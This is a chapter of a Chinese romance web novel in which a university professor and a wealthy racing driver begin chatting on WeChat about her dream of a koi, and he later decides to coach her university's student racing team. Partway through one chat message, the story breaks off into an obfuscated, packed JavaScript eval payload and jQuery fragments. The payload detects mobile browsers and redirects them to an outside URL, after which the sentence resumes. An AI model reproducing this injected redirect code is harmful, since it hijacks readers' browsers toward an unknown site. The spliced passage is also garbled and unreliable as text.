3. 003 孤独

作品:《孤独月

    对方显然是秦泽。


    何若镜原本不想通过他的好友申请,但最后却抬手点了“接受”。


    或许就是因为,他昵称里的那句“无尽夏”。


    而她这边刚一接受好友,备注都没改,秦泽就秒发来消息:


    “何教授你好,我是秦泽。”


    官方而正式,其余的话一句没再说。


    这样的互加好友,打完招呼立刻沉寂,何若镜经历过很多。参加学术活动的教授们大多都是如此。


    何若镜一时觉得好像没有什么回复的紧迫性,也就将手机丢到一边,准备提前给自己铺好床。


    她站在床边望了眼,却发现床早就铺好了,换了新床单。


    “饭不烫了,出来吃饭吧。”何珍过来催促。


    何若镜跟着她一起走出卧室,好奇道:“妈,您老人家未卜先知,知道我今天回来呀?床单好像刚换过。”


    “她不知道你今天回来。”朱清时替何珍回答,“但每周都会记得换。”


    何若镜的轻度洁癖,是从小就有的。


    这种对整洁干净的追求,虽然不影响生活,有时甚至她也能凑合将就,但父母终归希望能让她生活得更舒服些。


    清大在城西,离这里几乎是最远的两段。


    为了工作方便,何若镜几年前入职清大后就搬进了教师公寓。


    但即使如此,何珍还是将她的房间打扫得一尘不染,以便任何时候,何若镜只要回家了,都能住得舒心。


    从前是定期回去,何若镜还未察觉,这回时隔一个月,没打招呼就回来,这才意识到母亲有多用心。


    “妈,我现在发现恋爱结婚都没什么必要。再没有比你们更爱我的人了,咱们一家三口一起生活一辈子好了。”何若镜发出一声感慨。


    何珍闻言,笑她说傻话,她却一本正经谋划起来:“教师公寓只让住三年,我今年准备买房,争取买大一点,咱们三个也够住了。”


    “计划赶不上变化,眼下你是因为刚分手,受了情伤。过段时间又谈上男朋友,到时候又嫌我们在不方便了。”见她真有打算,朱清时第一个劝道。


    何珍也赞同般点头。


    果然长辈再开明,一说一辈子不结婚,都受不了。何若镜只好识趣地闭上嘴,心中言说:确实刚分手,但受情伤可未必。


    是她主动离开洛经纶,离开一个精致的利己主义者。


    这件事怎么想都是她及时止损的理性选择。


    阴雨天,天色暗得格外早。


    待何若镜吃完晚饭,洗澡出来往床上躺时,窗外的天已经黑得沉郁晦暗,像团能拧出水的沉甸甸的海绵。


    临时还要开个不用露面的线上会议,会议结束,何若镜想起自己还有桩没处理的要紧事:分手后,她还没删掉洛经纶。


    大概是前些天的最后一次见面,她重重挫伤了洛经纶的自尊,洛经纶没有再发来任何消息。


    他能不再纠缠她,是件好事。


    但微信、手机号、相册里的照片,还有一些软件的互关,曾经发过的相关动态,都没有什么留着的必要。


    于是何若镜开始一个一个删除取关。


    这一处理,就耗费了她一个多小时。


    在她处理完毕,给手机充电上时,她看了眼时间,00:20。


    又看一眼,消息栏的微信消息,一共两条,全部来自秦泽,最早是刚开始开会的20:01,最新是一分钟前。


    “没想到你会同意好友,有点忐忑。”


    “虽然有点刻意,但我还是想解释下,至少在你发言时,我的头脑很清醒,听完了全程。”


    何若镜待人一直遵循礼貌至上的原则,见秦泽等了这么久,确实没法无视,便回了句道:“你是怎么知道我的微信号的?”


    几乎是在下个半秒,她看到屏幕上显示了“正在输入中”。


    又过五秒,对方发来:“我问了助理。”


    原来如此,秦氏集团的助理那儿存着所有学者的PPT,秦泽想到这层,专门找出她写了联系方式的PPT,也不奇怪。


    紧跟着,秦泽又好奇地发来一句:“想请教一下,何教授的那条红鲤鱼后来怎么样了?”


    他能问起她的梦,她也就信了,他确实有认真听。


    但她的回答却兜了个圈子,反问道:“你确定那是真实的吗?”


    “什么意思?”秦泽茫然。


    何若镜进一步展开:“你确定……你在梦中真的听我讲过这个故事吗?”


    深夜里,她简单的几句话,好像真的能让他将真与假、现实与梦境混淆。


    他似乎思忖良久,才又发来:“我听过,因为我清楚地记得你。”


    有些事,有些人,记忆镌刻的深度像烙印。


    只见一面,就永志不忘。


    明知道对面是个游手好闲的公子哥,说几句好听话大概是信手拈来,可何若镜心里还是有几分触动。


    好奇怪,她为什么会觉得,他这么说是发自真心?


    “所以红鲤鱼它还好吗?”他锲而不舍地追问。


    她也渐渐开始有了回复的兴趣,道:“锦鲤跳缸很常见,发现及时就没事。我把它放回去了,活得挺好。”


    “那就好。”他像是松了口气。


    何若镜突然觉得他有点不一样。


    今天台下那么多人,他是唯一一个问起红鲤鱼最后怎样的人。


    远不止对一个故事感兴趣。


    他好像是真的在乎一条小鱼的生死。


    于是她也难得话多起来,道:“你觉得我的故事是真实的吗?或许我是编来骗你们,我既没有做梦,也没有养鱼。”


    “以你的专业性,当然不会学术造假。”他诙谐道。


    她因此笑了。


    何若镜有在教师公寓那边的家里装监控的习惯,但比较小众,是装在鱼缸旁。


    这时她去软件上看了眼,远程控制悄悄亮起鱼缸的灯,五条小锦鲤从睡梦中醒来,开始游动。


    一条不少,她的小鱼们都好好的。


    安心后,又快速地将灯关上了。


    说起来,何若镜最喜欢的动物是狗,边牧、拉布拉多,还有萨摩耶都挺喜欢,不过最爱的还是金毛。


    但她深知道,养狗意味着每天要花费时间遛狗,她没有这种精力,于是选择养更省心的锦鲤。


    养鱼同样有乐趣,让她独自居住的房子里有了另一些生命的存在,她也就不再孤单。


    正出神,秦泽的消息又发来了:“这么晚了,是不是该睡了?本来还有句话想跟你说,但今晚打扰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074125|179298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你好久。”


    何若镜低头一看,此刻已经快凌晨一点。


    她从没有这么晚还跟人聊天的习惯,但今晚,心里却并不打算就此终结与秦泽的聊天。


    “没事,我明天没课。”


    发完消息,何若镜就有点后悔了,这么说就好像她很想知道秦泽的那句话似的。


    但不停闪烁的“正在输入中”也容不得她撤回消息。


    秦泽则趁机顺水推舟,说出了他一开始就想说的话:


    “如果这个周末有空,可以约你一起吃饭吗?”


    思考数秒,何若镜认真回答:“不可以。”


    “……”再次碰壁的秦泽好像碎了。


    “这周末没空,我要给学生指导论文。”何若镜是实打实的事业狂。


    “那下周呢?”秦泽并不放弃。


    何若镜想了想,道:“下周周六要出差开会,周天只想躺在家里,不打算出门。”


    又不行。


    啧,搞学术研究的人,可真难约。


    秦泽自顾自啧叹了声,偏偏她的拒绝理由都很“正当”,让他只觉得成功约人出来是遥遥无期。


    碰到何若镜,他才知道什么叫作一筹莫展。


    “时间不早,我先睡了。”


    不等他再问起“下下下周”,何若镜率先发出结束聊天的讯号。


    秦泽也只好删掉刚打出的一大串文字,快速回应:“好吧,晚安。”


    一夜难眠。


    仓促结束的聊天,让秦泽有种不上不下的怅然,这种感受放大了他一直以来的孤独。


    他总觉得自己永远都摆脱不掉这种像沼泽一般拽着他下去的孤独,可又有股信念,总想跳出这种宿命。


    夜里,秦泽因此做了个梦。


    他梦见与何若镜的梦一样的梦,他成为了与她一样的碧绿茶叶,一样的红色海豚,一样的跳缸红锦鲤。


    他躺在桌上,奋力挣扎时,看着身下那一小洼水逐渐干涸,而他浑身痛到仿佛裂开,快干死在空气里。


    而后她回了头,望向他。


    在被注视的瞬间,被渔网轻柔地放回水中的瞬间,也是被拯救的瞬间。


    所以她沉静的注视,本就意味着拯救。


    真算是个被秦泽视为“美梦”的“噩梦”。


    次日秦泽醒来时,算是有了与何若镜同样的感受:庄生梦蝶,蝶梦庄生。


    起床洗漱后,秦泽接到一通电话,是车队的队友打来的。


    “呦,咱们少爷今儿醒得挺早。”队友插科打诨。


    秦泽笑骂一句:“有屁快放。”


    “是这样,有人请咱俩当技术指导,说去哪个都行,我准备给回了,但想着也跟你说一声。”队友道。


    秦泽平时只爱比赛,不爱去外面机构当技术指导操心受罪,一听是这事儿,就没带犹豫,道:“你看着办吧,我不管这事儿。”


    “明白。”队友笑着随口吐槽,“清大的大学生方程式,菜鸡互啄,能有什么意思。”


    说着,便要挂断电话。


    “等等!”秦泽却突然抬高声音,“你说是哪个大学?”


    “清大啊。”队友一愣,“给的待遇确实还可以,但你又不缺钱,应该看不上啊。”


    “我去。”秦泽定声道。